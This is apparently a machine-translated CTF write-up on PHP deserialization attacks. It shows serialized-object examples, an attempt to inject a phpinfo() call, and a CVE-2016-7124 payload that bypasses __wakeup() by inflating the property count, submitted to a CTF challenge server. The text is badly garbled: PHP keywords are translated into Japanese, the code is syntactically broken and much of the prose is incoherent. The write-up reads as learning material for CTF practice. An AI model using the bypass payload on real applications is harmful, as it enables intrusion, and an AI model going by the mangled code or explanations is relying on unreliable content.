CTFからの質問
クラスxctf { 公共 $フラグ = '111' 。 パブリック 関数__wakeup(){ 終了( '悪い要求' ); } ?コード=
シリアル化、逆シリアル化は理解しました。
シリアライズ()関数はシリアル化され、それが唯一のクラス名が保存されます、それはすべての変数を保存することができますが、この方法は、オブジェクトを保存しません。
<?PHPの クラスA { 公共 $フラグ = '111' 。 パブリック 関数__wakeup(){ 終了( '悪い要求' ); } } クラスB { 公共 $フラグ = '111' 。 } の$ A = 新しいA(); $ bの = 新しいB(); $のA = シリアル化($ A )。 $ bの = にserialize($ B ); エコー($ A )。 エコー($ bの); ?>
結果は以下の通りであります
O:1: "A":1:{S:4: "フラグ"; S:3: "111";}
O:1: "B":1:{S:4: "フラグ"; S:3: "111";}
いいえ違いありません
デシリアライズの脆弱性
文字列PHPに元の値のシーケンス番号()関数をアンシリアライズします
そこで、制御可能なパラメータ文字列、脆弱性が得られ作り出します
例えば、フラグ割り当て<PHPのするphpinfo;?>
<?PHP $ A = 'O :. 1: "" :. 1:{S :. 4: "フラグに"; S:。3: "111";} ; $ B =「O :. 1: "B" :. 1 {S :. 4: "フラグに"; S:。3: "<?PHPのphpinfo();>";} ;
オンラインコンパイラ、フィルタ、試みられていないローカルを使用して、#エラー。 しますprint_r(アンシリアライズ($ A )); しますprint_r(アンシリアライズ($のB )); ?>
それはまだ追加して戻ってくる会っ初心者に接触しているので、また... SQLインジェクションを利用することができます。
バックCTF、CVE-2016-7124、文字列のオブジェクトのプロパティの数値配列は__wakeupの真の値は、フィルタリングをスキップよりも大きい場合。
<?PHPの クラスxctf { 公共 $フラグ = '111' 。 パブリック 関数__wakeup(){ 終了( '悪い要求' ); } } $ aが = 新しいxctf(); $のA = シリアル化($ A )。 エコー($ A )。 #:4: "xctf":1:{S:4: "フラグ"; S:3: "111";} $ TEST1 = アンシリアライズ($ A )。 エコー($ TEST1 )。 //////////////漏洞利用... /////////////////// $ bの= 'O:4: "xctf":4 {S:4: "フラグ"; S:3: "111";} ; ////////////////////////////////////////////
ます。http://111.198。 29.45:42223 /コード= O:4:%22xctf%22:2:{S:4:%22flag%22; S:3:%22111% 22;}? ?>
PHPラインコンパイラます。http://code.php.net.cn/b37q111a
参考ます。https://xz.aliyun.com/t/378